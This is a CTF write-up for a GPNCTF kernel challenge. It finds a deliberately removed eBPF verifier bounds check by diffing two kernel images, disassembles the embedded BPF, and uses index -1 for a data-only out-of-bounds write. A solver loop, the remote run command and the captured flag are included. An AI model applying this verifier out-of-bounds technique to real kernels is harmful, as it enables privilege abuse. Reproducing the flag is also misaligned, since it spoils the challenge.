$ cat writeup.md…
$ cat writeup.md…
kitctf
Task: Linux kernel pwn with a patched eBPF verifier (patched vs unpatched bzImage) running an embedded aya eBPF reservation contract; the verifier's map-value bounds check was deleted and an embedded program does `DATA[index+1]=roll` with a signed-only index check. Solution: kernel-diff to find the removed check_mem_region_access bounds check, reverse the embedded BPF, then send index -1 to OOB-write the success byte DATA[0] (data-only), coasting with index 100 to preserve it until the validator prints the flag.
I recently learned that Solana contracts are just ebpf bytecode and thought: "Why do I need a Solana vm for that if my kernel can just execute it". So, after some tinkering, I let my kernel do what it does best: execute user provided code to enable gambling (and make me rich).
A QEMU guest runs a Rust "restaurant reservation smart contract" (/usr/bin/stupidcontract,
built with the aya eBPF library). It prints 100 restaurant names, then runs 300 rounds:
each round asks for a restaurant index, and a reservation "succeeds" with ~20% probability
(kernel bpf_get_prandom_u32). The win condition is a reservation to all 100 restaurants,
after which the binary reads /tmp/flag-data/flag and prints it. 300 rounds for 100
restaurants is intentionally not winnable by RNG alone.
Provided: images/patched.bzImage + images/unpatched.bzImage (Linux 6.19.5), rootfs.ext2,
run-qemu.sh, Dockerfile/compose.yml (socat exposes the QEMU serial on TCP/1337).
The only stdin input is the decimal index. There is no user-supplied BPF program — the
eBPF is embedded in the binary. The num_instructions string in the binary is an aya-internal
BTF relocation field name (a red herring). The bug is reached purely through the index value
combined with the deliberately weakened kernel verifier.
The patched/unpatched bzImage pair is the loudest hint. Extract vmlinux ELFs and diff
kallsyms:
vmlinux-to-elf images/patched.bzImage patched.elf vmlinux-to-elf images/unpatched.bzImage unpatched.elf nm patched.elf | sort > patched.syms nm unpatched.elf | sort > unpatched.syms diff patched.syms unpatched.syms
Symbol diff:
__check_mem_access, check_mem_region_access, bpf_checkcheck_map_access.isra.0 (inlined), bpf_prepare (= renamed bpf_check, cosmetic)Disassemble both versions of the map-value access checker (bounded by the next symbol):
objdump -d unpatched.elf --start-address=<check_map_access> --stop-address=<next> > cma_unpatched.asm objdump -d patched.elf --start-address=<check_map_access.isra.0> --stop-address=<next> > cma_patched.asm
check_map_access calls check_mem_region_access → __check_mem_access,
which enforces the core bounds check
if (off < 0 || off + size > value_size) return -EACCES; before iterating the map
record special fields (spin_lock/timer/etc).check_map_access.isra.0: the call to check_mem_region_access is completely
gone. It jumps straight into the record special-field loop.Conclusion: the patched verifier no longer enforces off + size <= value_size for
map-value access. Verified eBPF programs can now perform relative OOB (including negative and
variable-offset) accesses on a map's backing object. Classic deliberately-introduced verifier OOB.
The Rust binary embeds 3 identical copies of an aya eBPF object via include_bytes! in
.rodata. Find them by scanning for ELF magic with e_machine == 247 (EM_BPF) and carve
one out using the ELF header (e_shoff + e_shnum*e_shentsize):
sections:
syscall : two programs
try_get_reservation @ 0x000, size 0xc28
validate_reservations @ 0xc28, size 0x0c0
.bss : global DATA, 101 bytes (symbol _RNvCs...stupidcontract4DATA, size 0x65)
maps / AYA_LOGS : logging
DATA layout: DATA[0] = SUCCESS byte; DATA[1..=100] = the 100 reservation booleans.
A tiny pyelftools-based BPF disassembler reads the syscall section and decodes 8-byte
bpf_insn (opcode u8, dst/src nibbles, off i16, imm i32; lddw is 16 bytes):
import struct from elftools.elf.elffile import ELFFile data = ELFFile(open('ebpf_0.o','rb')).get_section_by_name('syscall').data() ALUOP={0:'add',1:'sub',2:'mul',3:'div',4:'or',5:'and',6:'lsh',7:'rsh', 8:'neg',9:'mod',10:'xor',11:'mov',12:'arsh',13:'end'} JMPOP={0:'ja',1:'jeq',2:'jgt',3:'jge',4:'jset',5:'jne',6:'jsgt',7:'jsge', 0xa:'jlt',0xb:'jle',0xc:'jslt',0xd:'jsle',8:'call',9:'exit'} SIZE={0:'W',1:'H',2:'B',3:'DW'} def dis(off, end, name): print(f"=== {name} ===") i=off while i<end: op=data[i]; regs=data[i+1]; dst=regs&0xf; src=(regs>>4)&0xf offset=struct.unpack_from('<h',data,i+2)[0] imm=struct.unpack_from('<i',data,i+4)[0] cls=op&7; idx=(i-off)//8 if cls==0 and ((op>>5)&7)==3: # LDDW (imm64) imm2=struct.unpack_from('<i',data,i+12)[0] full=(imm2<<32)|(imm&0xffffffff) print(f"{idx:4} r{dst} = 0x{full:x} ll"); i+=16; continue if cls==1: print(f"{idx:4} r{dst} = *(u{SIZE[(op>>3)&3]})(r{src} {offset:+#x})") elif cls==3: print(f"{idx:4} *(u{SIZE[(op>>3)&3]})(r{dst} {offset:+#x}) = r{src}") elif cls in (4,7): o=(op>>4)&0xf; w='' if cls==7 else '32' rhs=f"r{src}" if (op&8) else f"{imm}" print(f"{idx:4} r{dst} {ALUOP.get(o,'?')}{w}= {rhs}") elif cls in (5,6): o=(op>>4)&0xf; opn=JMPOP.get(o,'?') if opn=='exit': print(f"{idx:4} exit") elif opn=='call': print(f"{idx:4} call {imm}") else: rhs=f"r{src}" if (op&8) else f"{imm}" print(f"{idx:4} if r{dst} {opn} {rhs} goto {idx+1+offset}") i+=8 dis(0,0xc28,'try_get_reservation') dis(0xc28,0xc28+0xc0,'validate_reservations')
Decoded logic:
try_get_reservation(ctx):
r7 = *(s64)(ctx + 0) ; the index
if (s64)r7 > 99 goto error ; SIGNED comparison, NO lower bound!
r0 = bpf_get_prandom_u32()
r1(32) = r0
r0 = 1; if 0x33333333 > r1 goto skip; r0 = 0 ; r0 = (rand < 0x33333333) ? 1 : 0 (~20%)
skip:
r1 = &DATA
r1 += r7
*(u8)(r1 + 1) = r0 ; DATA[r7 + 1] = r0 <-- OOB when r7 < 0
return -1 ; always
error:
; logs "Index out out bounds: <idx>" via AYA log, performs NO DATA write (pure no-op)
validate_reservations():
acc = 1
for i in 1..=100: acc &= (DATA[i] & 1)
if acc == 1: DATA[0] = 1 ; ONLY sets, never clears DATA[0]
return 0
Userspace (Rust) after the 300-round loop performs an aya map lookup on DATA (key u32 = 0),
reads DATA[0], and on DATA[0] == 1 prints
Thank you! You successfully got reservations to every restaurant, then
std::fs::read_to_string("/tmp/flag-data/flag") → As a thank you, here's your flag: <flag>.
Two weaknesses combine:
if (s64)index > 99), so a negative index is
accepted by the program logic.off + size <= value_size, so a negative variable
offset into the map value passes verification.Therefore index = -1 makes the program write DATA[-1 + 1] = DATA[0] — directly into the
SUCCESS byte that the userspace gate checks. And validate_reservations only ever sets
DATA[0], never clears it.
Deterministic, data-only exploit (no ROP/shellcode):
-1 each round. On the round where the kernel prandom roll lands in the ~20%
window, userspace prints Your reservation succeeded → DATA[0] is now 1.100 (>99 → error path, no DATA
write) for every remaining round, so DATA[0] stays 1.validate_reservations leaves DATA[0]=1; userspace reads DATA[0]==1
and prints the flag.Reliability: probability of never rolling a success across the -1 attempts is 0.8^300 ≈ 0,
so this is effectively guaranteed. On the remote it succeeded on the very first -1 attempt.
Gotcha — I/O desync. Both the local QEMU serial and the remote socat echo input. Sending
lines faster than the prompt consumes them merges inputs and makes success detection flaky (an
early naive version coasting with index 0 failed sporadically). Fix: strictly synchronous
I/O — send exactly one line, wait for that round's [INFO ...]/[ERROR ...] result, then wait
for the next enter the index prompt before sending again. This made it 100% reliable.
Core of the solver loop (solve.py, transport-agnostic RECV()/read_until()):
# wait for the first reservation prompt read_until(r"enter the index", 150) COAST = "100" # >99 => error path, no DATA write (preserves DATA[0]) won = False for n in range(300): if n > 0: read_until(r"enter the index", 30) # wait for prompt marker = len(buf) W(("-1" if not won else COAST) + "\n") # send exactly one line read_until(r"\[(INFO|ERROR) ", 30) # wait for this round's result line if (not won) and b"succeeded" in buf[marker:]: won = True # DATA[0]=1; start coasting with 100 print(f"[+] DATA[0]=1 set at attempt {n+1}; coasting with index {COAST}") read_until(r"(GPNCTF\{|here's your flag|Sorry|Thank you)", 60)
Run against remote (TLS on 443, equivalent to
ncat --ssl <host> 443):
python3 solve.py --remote pan-seared-chorizo-crusted-with-sauced-mint-s2m1.gpn24.ctf.kitctf.de 443 --ssl
Output:
[+] DATA[0]=1 set at attempt 1; coasting with index 100
[INFO stupidcontract] Thank you! You successfully got reservations to every restaurant
[INFO stupidcontract] As a thank you, here's your flag: GPNCTF{Wa17, n0! Who sTOLE MY sECURity???}
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar